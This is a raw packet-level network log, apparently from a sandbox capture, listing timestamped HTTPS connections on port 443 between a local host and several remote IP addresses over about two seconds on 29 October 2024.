Oct 29, 2024 06:59:27.058795929 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:27.058934927 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:27.058947086 CET	49801	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.058953047 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:27.058953047 CET	443	49801	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.059158087 CET	49799	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.059163094 CET	443	49799	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.059175968 CET	49799	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.059180021 CET	443	49799	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.061042070 CET	49797	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.061045885 CET	443	49797	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.061062098 CET	49797	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.061069965 CET	443	49797	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.065224886 CET	49813	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.065248013 CET	49812	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.065256119 CET	443	49813	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.065278053 CET	443	49812	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.065319061 CET	49813	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.065404892 CET	49812	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.065905094 CET	49813	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.065917015 CET	443	49813	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.066143036 CET	49812	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.066157103 CET	443	49812	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.066890955 CET	49814	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.066900969 CET	443	49814	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.067207098 CET	49814	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.067378998 CET	49814	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.067393064 CET	443	49814	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.128846884 CET	443	49804	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:27.129059076 CET	49804	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:27.129072905 CET	443	49804	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:27.129518986 CET	443	49804	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:27.130525112 CET	49804	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:27.130609035 CET	443	49804	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:27.131330013 CET	443	49803	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:27.131594896 CET	49803	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:27.131606102 CET	443	49803	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:27.131941080 CET	443	49803	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:27.132333994 CET	49803	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:27.132396936 CET	443	49803	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:27.191373110 CET	443	49801	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.191546917 CET	443	49801	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.191641092 CET	49801	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.192368031 CET	49801	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.192368031 CET	49801	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.192382097 CET	443	49801	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.192392111 CET	443	49801	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.197792053 CET	49815	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.197817087 CET	443	49815	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.197954893 CET	49815	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.199460030 CET	49815	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.199476004 CET	443	49815	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.204545021 CET	49804	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:27.204735994 CET	49803	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:27.231803894 CET	443	49800	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.231921911 CET	443	49800	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.231981039 CET	49800	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.232275009 CET	49800	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.232286930 CET	443	49800	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.232297897 CET	49800	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.232302904 CET	443	49800	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.241719961 CET	49816	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.241748095 CET	443	49816	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.242973089 CET	49816	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.243303061 CET	49816	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.243320942 CET	443	49816	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.277344942 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:27.277379990 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:27.277456999 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:27.277785063 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:27.277810097 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:27.512042999 CET	443	49805	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:27.512455940 CET	49805	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:27.512465000 CET	443	49805	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:27.513566971 CET	443	49805	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:27.514816046 CET	49805	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:27.514991999 CET	443	49805	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:27.522128105 CET	443	49806	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:27.522428036 CET	49806	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:27.522439003 CET	443	49806	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:27.523574114 CET	443	49806	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:27.524000883 CET	49806	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:27.524214983 CET	443	49806	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:27.526468992 CET	443	49807	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:27.526673079 CET	49807	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:27.526680946 CET	443	49807	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:27.529772997 CET	443	49807	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:27.529830933 CET	49807	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:27.530211926 CET	49807	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:27.530270100 CET	443	49807	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:27.540950060 CET	443	49808	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:27.541193008 CET	49808	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:27.541212082 CET	443	49808	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:27.544729948 CET	443	49808	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:27.544799089 CET	49808	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:27.545150995 CET	49808	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:27.545324087 CET	443	49808	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:27.707501888 CET	49808	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:27.707503080 CET	49806	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:27.707515955 CET	49805	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:27.707515955 CET	49807	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:27.707518101 CET	443	49808	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:27.707525969 CET	443	49807	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:27.791399956 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:27.792459011 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:27.792470932 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:27.793323994 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:27.793395996 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:27.794411898 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:27.794471025 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:27.794837952 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:27.794847965 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:27.795058012 CET	443	49809	152.195.19.97	192.168.2.5
Oct 29, 2024 06:59:27.795666933 CET	443	49813	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.795682907 CET	49809	443	192.168.2.5	152.195.19.97
Oct 29, 2024 06:59:27.795706034 CET	443	49809	152.195.19.97	192.168.2.5
Oct 29, 2024 06:59:27.796467066 CET	49813	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.796483040 CET	443	49813	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.796819925 CET	443	49809	152.195.19.97	192.168.2.5
Oct 29, 2024 06:59:27.796931028 CET	49809	443	192.168.2.5	152.195.19.97
Oct 29, 2024 06:59:27.797882080 CET	49813	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.797888041 CET	443	49813	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.797892094 CET	49809	443	192.168.2.5	152.195.19.97
Oct 29, 2024 06:59:27.798008919 CET	443	49809	152.195.19.97	192.168.2.5
Oct 29, 2024 06:59:27.798051119 CET	49809	443	192.168.2.5	152.195.19.97
Oct 29, 2024 06:59:27.804127932 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:27.804611921 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:27.804632902 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:27.806102037 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:27.806200027 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:27.806601048 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:27.806680918 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:27.806931973 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:27.806941986 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:27.808383942 CET	443	49814	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.808979034 CET	49814	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.809007883 CET	443	49814	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.809566021 CET	49814	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.809571981 CET	443	49814	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.833364010 CET	443	49812	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.834480047 CET	49812	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.834505081 CET	443	49812	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.835319042 CET	49812	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.835325956 CET	443	49812	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.839333057 CET	443	49809	152.195.19.97	192.168.2.5
Oct 29, 2024 06:59:27.892637014 CET	49808	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:27.892759085 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:27.892765999 CET	49809	443	192.168.2.5	152.195.19.97
Oct 29, 2024 06:59:27.892790079 CET	443	49809	152.195.19.97	192.168.2.5
Oct 29, 2024 06:59:27.907907009 CET	49807	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:27.907910109 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:27.926748037 CET	443	49809	152.195.19.97	192.168.2.5
Oct 29, 2024 06:59:27.926760912 CET	443	49809	152.195.19.97	192.168.2.5
Oct 29, 2024 06:59:27.926783085 CET	443	49809	152.195.19.97	192.168.2.5
Oct 29, 2024 06:59:27.926790953 CET	443	49809	152.195.19.97	192.168.2.5
Oct 29, 2024 06:59:27.926826000 CET	49809	443	192.168.2.5	152.195.19.97
Oct 29, 2024 06:59:27.926846981 CET	443	49809	152.195.19.97	192.168.2.5
Oct 29, 2024 06:59:27.926868916 CET	443	49809	152.195.19.97	192.168.2.5
Oct 29, 2024 06:59:27.926894903 CET	49809	443	192.168.2.5	152.195.19.97
Oct 29, 2024 06:59:27.926894903 CET	49809	443	192.168.2.5	152.195.19.97
Oct 29, 2024 06:59:27.926987886 CET	49809	443	192.168.2.5	152.195.19.97
Oct 29, 2024 06:59:27.927434921 CET	49809	443	192.168.2.5	152.195.19.97
Oct 29, 2024 06:59:27.927453995 CET	443	49809	152.195.19.97	192.168.2.5
Oct 29, 2024 06:59:27.929497957 CET	443	49813	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.929676056 CET	443	49813	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.929805040 CET	49813	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.930565119 CET	443	49815	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.930892944 CET	49813	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.930892944 CET	49813	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.930907965 CET	443	49813	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.930918932 CET	443	49813	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.932837963 CET	49815	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.932837963 CET	49815	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.932857037 CET	443	49815	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.932867050 CET	443	49815	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.935311079 CET	49818	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.935353994 CET	443	49818	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.935539007 CET	49818	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.935858965 CET	49818	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.935874939 CET	443	49818	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.939714909 CET	443	49814	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.940186024 CET	443	49814	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.942737103 CET	49814	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.969440937 CET	49814	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.969440937 CET	49814	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.969468117 CET	443	49814	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.969480038 CET	443	49814	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.973031998 CET	443	49812	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.973290920 CET	443	49812	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.973597050 CET	49812	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.973885059 CET	49812	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.973885059 CET	49812	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.973892927 CET	443	49812	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.973902941 CET	443	49812	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.976962090 CET	49819	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.976989985 CET	443	49819	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.977051973 CET	49819	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.977982998 CET	49819	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.977993011 CET	443	49819	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.978825092 CET	49820	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.978843927 CET	443	49820	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.979171038 CET	49820	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.979235888 CET	49820	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.979244947 CET	443	49820	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.987293959 CET	443	49816	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.988588095 CET	49816	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.988588095 CET	49816	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.988604069 CET	443	49816	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.988621950 CET	443	49816	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.049387932 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.049416065 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.049427032 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.049449921 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.049463987 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.049474955 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.049493074 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.049515963 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.049544096 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.049695969 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.060668945 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.060679913 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.060698032 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.060709000 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.060738087 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.060750008 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.060775995 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.060853004 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.063484907 CET	443	49815	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.063611031 CET	443	49815	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.067440033 CET	49815	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:28.067513943 CET	49815	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:28.067514896 CET	49815	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:28.067527056 CET	443	49815	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.067538977 CET	443	49815	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.072155952 CET	49821	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:28.072207928 CET	443	49821	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.073164940 CET	49821	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:28.073426962 CET	49821	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:28.073456049 CET	443	49821	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.119277000 CET	443	49816	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.119345903 CET	443	49816	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.119905949 CET	49816	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:28.119905949 CET	49816	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:28.119936943 CET	49816	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:28.119952917 CET	443	49816	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.123990059 CET	49822	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:28.124006987 CET	443	49822	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.125296116 CET	49822	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:28.125540972 CET	49822	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:28.125552893 CET	443	49822	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.168773890 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.168801069 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.168940067 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.168956995 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.169197083 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.169317961 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.169614077 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.169641972 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.170027971 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.170365095 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.170819998 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.171282053 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.171907902 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.171984911 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.172168016 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.172168016 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.172188997 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.179198980 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.179222107 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.179310083 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.179325104 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.179346085 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.179771900 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.179805040 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.179812908 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.179836988 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.179846048 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.179871082 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.180182934 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.180182934 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.215354919 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.227319956 CET	49823	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.227339029 CET	443	49823	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.227531910 CET	49823	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.227901936 CET	49823	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.227911949 CET	443	49823	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.379342079 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.379561901 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.459794998 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.459817886 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.459832907 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.460201025 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.460231066 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.460601091 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.463696957 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.463717937 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.463815928 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.463815928 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.463836908 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.577224016 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.577265024 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.577301979 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.577322006 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.577357054 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.579474926 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.579519987 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.579555988 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.579577923 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.579592943 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.579627037 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.579627037 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.579641104 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.579693079 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.582226038 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.582247019 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.582350016 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.582350016 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.582366943 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.611175060 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.611196041 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.679398060 CET	443	49818	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.680118084 CET	49818	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:28.680134058 CET	443	49818	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.680619955 CET	49818	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:28.680624962 CET	443	49818	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.695581913 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.695600033 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.695646048 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.695672035 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.695722103 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.696238041 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.696244955 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.696285963 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.696310997 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.696321964 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.696329117 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.696331024 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.696367025 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.696382046 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.696402073 CET	443	49817	104.40.82.182	192.168.2.5
